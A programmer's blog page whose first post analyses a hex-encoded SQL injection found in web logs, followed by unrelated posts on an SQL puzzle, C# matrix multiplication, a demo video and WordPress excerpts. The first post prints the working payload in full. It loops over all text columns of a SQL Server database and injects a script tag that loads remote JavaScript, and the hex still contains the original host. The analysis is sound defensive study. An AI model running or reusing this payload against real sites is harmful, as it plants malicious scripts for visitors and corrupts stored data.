Hexed SQL - Analysis of a hack attempt

A few days ago, I was browsing through my web site logs. I was scrolling along when I saw an interesting entry (warning, long horizontal scrolling ahead. Please click through to post for easier reading):

/2008/07/15/are-you-malleable-code-editor/?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S)

I thought that looked peculiar, but didn’t think much of it. It wasn’t until the next day that I felt that was a hack attempt. Yeah, my spider sense wasn’t doing very well…

So I took a closer look at it. From the keywords “DECLARE”, “CHAR(4000)”, “SET”, “CAST” and “EXEC”, I gathered this might be an SQL statement. But what’s the long string of characters doing?

Notice the “0x” in the CAST command. Hmm… hexadecimal? To prove this, I wrote a mini program:

StreamWriter sw = new StreamWriter("vince.txt");
string s = "4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72";
int i;
char c;
for (i = 0; i < s.Length; i += 2)
{
    c = Convert.ToChar(Convert.ToInt32(string.Format("0x{0}{1}", s[i], s[i + 1]), 16));
    sw.Write(c);
}
sw.WriteLine();
sw.Close();

That might not be the best way to manipulate hexadecimal, but you should definitely not follow this example.

Lo and behold, I got this (reformatted for legibility):

DECLARE @T varchar(255),@C varchar(4000)

DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://somesite.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

It was a chunk of SQL statements in hexadecimal! So, let’s look at it more closely. Let’s start with this part:

select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

sysobjects and syscolumns are system database tables. This automatically rules out Oracle as the database, since Oracle uses all_tables and all_tab_columns. MySQL uses INFORMATION_SCHEMA.TABLES and INFORMATION_SCHEMA.COLUMNS respectively.

That leaves me with Sybase and SQL Server, the other 2 databases that I’m familiar with. Then I saw the query uses xtype. Aha! Sybase’s sysobjects table doesn’t have the xtype column; it only has the type column!

And so, I deduced that this was probably an attack on web sites running on SQL Servers.

Let’s look at the query again. This part a.xtype='u' in the where clause searches for user tables (or tables created by the user or associated applications). This part:

b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167

needs a little more explanation. My digging into the innards of syscolumns tells me that 99, 35, 231 and 167 corresponds to ntext, text, nvarchar, varchar respectively.

Hmm… those 4 look familiar… Oh right, they’re data types for storing text in databases. I have a theory as to why char and nchar are not included, but let’s focus on the query first.

So in English, the query retrieves all columns of text data type of all user-created database tables. Then in the while loop, an update command in executed. Basically, it updates all the text columns in all the user-created tables to a “certain value”. Let’s look at this “certain value” (yes, this is THE HACK), shall we?

THE HACK starts with two single quotes, so it becomes just one single quote because of the SQL escape. Then it ends with double quotes and a greater than sign. Huh? Then there’s a </title> end tag. This implies there’s a starting title tag somewhere.

From this, I deduce that the hacker is assuming (or hoping) one of those text columns will be used in the title tag. This implies that the text columns are assumed to be of moderate length. char and nchar types are not usually used for these types of data, so they’re left out (or the hacker didn’t think they’re worthy). At least that’s my theory…

Moving on, we see that there’s a script tag. Isn’t there always? *smile* The Javascript file comes from a dubious web site from China, based on the web site address. Yes, I’ve anonymised it so the actual dubious site’s address isn’t shown (to prevent giving power to the hacker and to lower the chances of search engines banning me). You’re welcome to use the C# code above to decipher the chunk of hexadecimal and find out yourself. But please, don’t go to that site!

Now I don’t quite understand what’s with the where clause in the update statement in the exec command. Why didn’t the hacker simply update all the columns instead of adding a where clause search filter? It ends up the same anyway… Perhaps it’s to mix up the encoded hexadecimal so it’s not similar to past attempts…

Anyway, basically THE HACK updates text columns such that if one of the text columns is used in the title tag, the web page loads the malicious Javascript and ends rendering the rest of the page. I have no idea what the Javascript file will do, and I don’t intend to find out. The additional damage is the lost of data in the text columns, which is probably not as fatal as the Javascript.

And that’s the end of my analysis. I hope that even if it’s not relevant to you, you’ve learnt something from the thought processes that go into this hack investigation.

Please ConvertToEnglish() - Obscure SQL

Sometimes you come across a simple SQL statement. Yet you’re confounded by the reasoning behind it. You think, “What is this trying to do?!”

Never had that experience before? Well, here’s your chance. Here’s a heavily anonymised version:

select max(is_active) from customers where customer_id = 'ABC'

And here’s the accompanying database table named “customers”.

Study both the SQL statement and the data in the database table. Then tell me what you think is the business logic behind the SQL statement.

What I mean is, suppose some manager needs some information. And the SQL statement is part of the solution to obtain that information. What does that manager need to know?

Need some help? Here’s an equivalent version:

select min(customer_status) from customers where customer_id = 'ABC'

This entire exercise is to train you to decipher existing logic and data with very little help or documentation.

Bonus points: What do you think the values for the columns “is_active” and “customer_status” stand for?

Matrix multiplication code

The following code is to illustrate the matrix multiplication method mentioned previously. For simplicity sake, I’m limiting the size of the matrices to 3.

const int cnSize = 3;
int[,] A = new int[cnSize, cnSize];
int[,] B = new int[cnSize, cnSize];
int[,] C = new int[cnSize, cnSize];
int[] x = new int[cnSize];
int[] y = new int[cnSize];
Random rand = new Random();
int i, j, k;

// fill matrix and vector with random values
for (i = 0; i < cnSize; ++i)
{
    for (j = 0; j < cnSize; ++j)
    {
        A[i, j] = rand.Next(1, 10);
        B[i, j] = rand.Next(1, 10);
    }
    x[i] = rand.Next(1, 10);
}

// matrix-vector multiplication
for (i = 0; i < cnSize; ++i)
{
    y[i] = 0;
    for (k = 0; k < cnSize; ++k)
    {
        y[i] += A[i, k] * x[k];
    }
}

// matrix-matrix multiplication
for (i = 0; i < cnSize; ++i)
{
    for (j = 0; j < cnSize; ++j)
    {
        C[i, j] = 0;
        for (k = 0; k < cnSize; ++k)
        {
            C[i, j] += A[i, k] * B[k, j];
        }
    }
}

Console.WriteLine("Matrix-vector multiplication");
for (i = 0; i < cnSize; ++i)
{
    Console.Write("[");
    for (j = 0; j < cnSize; ++j)
    {
        Console.Write(" {0}", A[i, j].ToString().PadLeft(3));
    }
    Console.WriteLine("][{0}] {1} [{2}]", x[i].ToString().PadLeft(3), ((cnSize / 2) == i ? "=" : " "), y[i].ToString().PadLeft(3));
}
Console.WriteLine();

Console.WriteLine("Matrix-matrix multiplication");
for (i = 0; i < cnSize; ++i)
{
    Console.Write("[");
    for (j = 0; j < cnSize; ++j)
    {
        Console.Write(" {0}", A[i, j].ToString().PadLeft(3));
    }
    Console.Write("][");
    for (j = 0; j < cnSize; ++j)
    {
        Console.Write(" {0}", B[i, j].ToString().PadLeft(3));
    }
    Console.Write("] {0} [", ((cnSize / 2) == i ? "=" : " "));
    for (j = 0; j < cnSize; ++j)
    {
        Console.Write(" {0}", C[i, j].ToString().PadLeft(3));
    }
    Console.WriteLine("]");
}
Console.WriteLine();

You will notice there’s a lot of nested for loops. Get used to it. Here’s a screenshot of the output:

Exercise: Explain what this does. (a ternary operator refresher might help)

((cnSize / 2) == i ? "=" : " ")

Trapped aeroplane video

This is my first video production, a demo of a trapped paper aeroplane (hosted by Vimeo). Yay! It’s a demo of an SDL (Simple DirectMedia Layer)/OpenGL project I made as a result of a university programming assignment.

The original assignment was in wireframe and in black and white (no colours). I added textures and a revolving sky background for colour. Besides, the explosion effect looks cooler with a fiery texture. Oh, I didn’t mention the explosion effect? *smile*

Unfortunately, I lost the source code. Aarrrgghhh…

Anyway, here’s where you can download the demo. Download Trapped Aeroplane [ZIP file, 380 KB]. Maybe I’ll rewrite it… XNA and C#? We’ll see. Have fun!

Simple excerpts in WordPress

I have finally decided to plunge into some PHP code in my WordPress template. The reason? My home page is a little long. So are my archive and category pages. I write moderately lengthy posts, so even with 5 posts per page, you might have to scroll a bit.

First, I want to say that I have never learnt PHP. I’m also unfamiliar with the innards of WordPress. But I’m a programmer. The code doesn’t look too hard… so I’m still capable of making small changes.

I’ve heard about the use of excerpts, and because I’m too lazy to set them up properly with the more tag, I’m doing it the simple way. This is the code I used:

<?php if(is_category() || is_archive() || ($postcounter!=1 && !is_single() && !is_page())) {
	the_excerpt();
} else {
	the_content(__('Read more &raquo;'));
} ?>

The the_excerpt() function is used to automatically generate an excerpt. It’s automatic, that’s why it’s simple. Otherwise, I’d have to set up more tags. Under the WordPress panel for that particular post, you can also add in specific text you want to use as an excerpt. I’m going for simplicity, so I’m using whatever WordPress defaults for me (55 words stripped of HTML).

The more tag is actually typed out in your WordPress post, so you actually have to (or can) figure where exactly you want the break to be. More control, less automation. It looks like this <!--More-->

The entire if statement is in the main WordPress loop. The is_category() and is_archive() functions should be self-explanatory. The third condition is a little complicated…

What I want is to customise the layout of the home page. The home page is neither a single WordPress post nor a WordPress page, hence the !is_single() and !is_page(). The $postcounter variable is used to keep track of how many posts were already displayed. The declaration and incrementation of the variable is not shown in the code.

The desired effect is that, on the home page, only the first post (which is the latest) is displayed in full. All other posts on the home page is displayed in excerpt form.

In the else part, it should be either a single post or page, so display the full content. The function the_content() takes a single parameter which is the “read more” text.

I have a customised version of the_content() parameter, which I believe will use any localisation files to translate the given text. If you’re not concerned with it, just use something like the_content('Read more...');.

Hope this helped you in some way.

P.S. Currently, I use 5 posts per display page. If I go to the second display page on my home page, the first post (the 6th post) displayed is in full, whereas the rest are in excerpt form. It’s not a critical issue, so I’m letting it be…